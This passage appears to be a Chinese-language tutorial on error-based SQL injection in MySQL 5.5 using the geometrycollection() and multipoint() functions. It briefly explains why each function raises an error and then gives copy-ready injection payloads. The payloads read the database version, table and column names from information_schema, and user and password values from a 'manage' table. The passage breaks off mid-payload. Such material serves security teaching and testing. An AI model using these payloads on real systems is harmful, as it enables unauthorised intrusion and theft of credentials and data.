1. geometrycollection() mysql版本5.5
(1)函数解释:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。
(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
(3)报错原因:
因为MYSQL无法使用这样的字符串画出图形,所以报错
#获取版本信息
1') and geometrycollection((select * from(select * from(select version())a)b)); %23
#获取当前表名
1') and geometrycollection((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
#获取manage表里的段名
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
#获取字段里的数据
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
2. multipoint() mysql版本5.5
(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。
(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似
#获取版本信息
1') and multipoint((select * from(select * from(select version())a)b)); %23
#获取当前表名
1') and multipoint((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23
#获取manage表里的段名
1') and multipoint((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b))